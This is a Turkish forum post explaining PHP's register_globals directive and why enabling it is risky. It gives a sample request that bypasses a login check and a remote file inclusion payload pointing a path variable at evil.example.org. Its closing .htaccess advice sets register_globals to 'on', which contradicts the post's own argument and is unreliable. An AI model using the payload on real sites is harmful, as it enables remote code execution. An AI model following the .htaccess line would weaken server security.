Forumana.com, Forum, Forum Sitesi, Forumlar

Forum KayıtForum Kayıt ForumForum OyunlarOyunlar MesajlarMesajlar GruplarGruplar Üye GruplarıYönetim RadyoFM DinleRadyoFM TwitterTwitter FacebookFacebook İletişimİletişim
 


Forum Forumlar Forum Sitesi Forum Grup Forum Albüm Forumları Okudum
Go Back   Forumana.Com - Forum, Forumlar, Forum Sitesi Web Tasarım Webmaster Özel Apache

Register Globals Nedir?

 Apache forumunda yer alan Register Globals Nedir? konusu, Register Globals Nedir? Register Globals Nedir? register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanımlı olarak kapalı halde (değeri OFF) gelir. Bu belirtecin açık (değeri ON)olması doğrudan güvenlik açığı ...



Yeni Konu aç Cevapla
 
Seçenekler Stil
Alt 23-Ocak-2012, 15:20   #1 (permalink)
UYARI:
Kullanıcıların Profil Bilgileri Misafirlere Kapatılmıştır. Görmek için KAYIT olmalısınız.~
Giriş Register Globals Nedir?

Register Globals Nedir?

register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanımlı olarak kapalı halde (değeri OFF) gelir. Bu belirtecin açık (değeri ON)olması doğrudan güvenlik açığı oluşturmasa da ciddi bir tehlike oluşturduğundan değerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecin kapalı olması durumuna göre geliştirilmelidir.

Bu belirtecin açık olması neden risklidir?. Bu konuda her seviyeye uygun örnekler bulmak zordur. PHP resmi sitesinde bu konu ile ilgili güzel bir örnek vardır.
Kod:
<?
if (yetkili_kulanici())
{
$authorized= true;
}
if ($authorized)
{
include'/cok/onemli/bilgi.php';
}
?>
<? if (yetkili_kulanici()) { $authorized= true; } if ($authorized) { include'/cok/onemli/bilgi.php'; } ?> register_globals'ın açık olması durumunda bu sayfa adres satırına ?authorized=1 eklenerek çağırıldığında çok önemli bilgiye ulaşılmış olur. Bu tamamen programlama hatasıdır, register_globals belirtecinin oluşturabileceği tehlikeyi göstermek için basit bir örnektir. register_globals kapalı olduğunda programcı tarafından oluşturulan değişkenler dışarıdan müdahele ile (?authorized=1 gibi) değiştirilemez. Açık oması durumunda ise değişkenler tanımlanırken bir ilk değer verilmelidir.
register_globals'ın çıkarabileceği bir diğer tehlikeli duruma include fonksiyonunun kullanımı örnektir:
Kod:

1. <?
2. include"$path/script.php";
3. ?>

<? include
"$path/script.php"; ?> register_globals açık olduğunda bu sayfayı adres satırına ?path=http%3A%2F%2Fevil.example.org%2F%3F eklenerek çağırıldığında aşağıdaki gibi bir sonuç çıkar.
Kod:
<?
include'http://evil.example.org/?/script.php';
?>
<? include'http://evil.example.org/?/script.php'; ?> Eğer allow_url_fopen açık ise, ki php.ini de öntanımlı olarak açıktır, bu kod deki script.php dosyasını sanki aynı makinada bulunan bir dosya gibi çalıştırır. Bu birçok açık kaynaklı uygulamalarda ortaya çıkmış ciddi bir tehlikedir.

Tanımlandığında $path değişkenine bir ilk değer verilerek bu engellenebilir. register_globals'ı kapatarak ta bu engellenebilir. register_globals'ın kapalı olması bu ve bunun gibi programcı hatalarından kaynaklanan açıkların kapatılmasını sağlar.

Formdan gelen ve dışardan gelen verilerin işleneceği durumlarda programcıların bu durumu (register_globals) dikkate almaları gerekir. $_POST ve $_GET dizilerinin kullanılması bir önlemdir. Fakat tehlikeyi tamamen engellemez. Yukarıda da belirtiğimiz gibi değişkenlere başlanğıç değeri verilmesi çok önemlidir. Bu bölümde anlatılanlar register_globals'in bir güvenlik açığı olduğunu göstermez ama kapalı olmasının bir bazı tehlikeleri önlediği kabul edilen bir gerçektir. Ayrıca değerin kapalı olması programcıların kullandıkları değişkenlerin kaynaklarını bilmeleri ve düşünmeleri,ki bu iyi programcının özelliklerindendir, konusunda zorladığı için de faydalıdır.


Durumunu nasıl görüntülerim ?

* hostunuzun apache bilgileri kısmından görebilirsiniz.
* php.ini den okuyarak görebilirsiniz.
* phpinfo.php dosyası oluşturun içine şu kodları girin ve sitenize yükleyin.

Kod:
<?
phpinfo();
?>
<? phpinfo(); ?> bu sayfayı çalıştırın ve register_globals ifadesini aratın çıkan sonuçta karşısında ON açık veya OFF kapalı yazar.
Nasıl Durum Değiştiririm ?

* Hostunuza e-maille başvurarak
* php içinden ini_set() fonksiyonu ile ama bu işinizi görmeyecektir çünkü ON olması siz açmadan önce gereklidir.
* sitenizin root klasörü altına altına şu .htaccess dosyasını atarak

1. Kod:
php_flag register_globals on

Kod:
php_flag register_globals on
aynı kodu .htaccess dosyası içine koyarsanız daha iyi olur.

En azında diğer siteler için bu fonksiyon açık kalmaz.





» Register Globals Nedir? - www.forumana.com

  Alıntı ile Cevapla
Yeni Konu aç Cevapla

Yukarıdaki Konuyu Aşağıdaki Sosyal Ağlarda Paylaşabilirsiniz.

Etiketler
globals, nedir, register


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 08:19.

Forum Künyemiz
Uyarı

Powered by vBulletin® Version 3.8.4
Copyright ©2011 - 2019, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.6.0
Açılış Tarihi : 05.12.2011
Kuruluş Tarihi : 20.11.2011
Hazırlayan & Tasarlayan : Forumana.com
 

Sosyal paylaşım platformu olan Forumana.com sitemizde, kullanıcılar 5651 sayılı kanunun ilgili maddesine ve TCK'nın 125. maddesine göre yaptıkları paylaşımlardan sorumludur, kullanıcı kaynaklı herhangi bir durumdan Forumana.com sitesi sorumlu değildir. Tüm hukuksal bildirimleriniz/sorunlarınız/istekleriniz ve şikayetleriniz için İletişim panelinden bizlere ulaşabilirsiniz, Forumana.com yönetimi en geç "3" iş günü içerisinde dönüş yapacaktır. Platformumuz; kişilik ve telif hakları korunumu, illegal paylaşım ve korsanla mücadele konusunda yetkililere yardımcı olmayı ilke edinmiştir.

Forum, Forumlar, Forum Sitesi, Etiket, Sitemap, Arşiv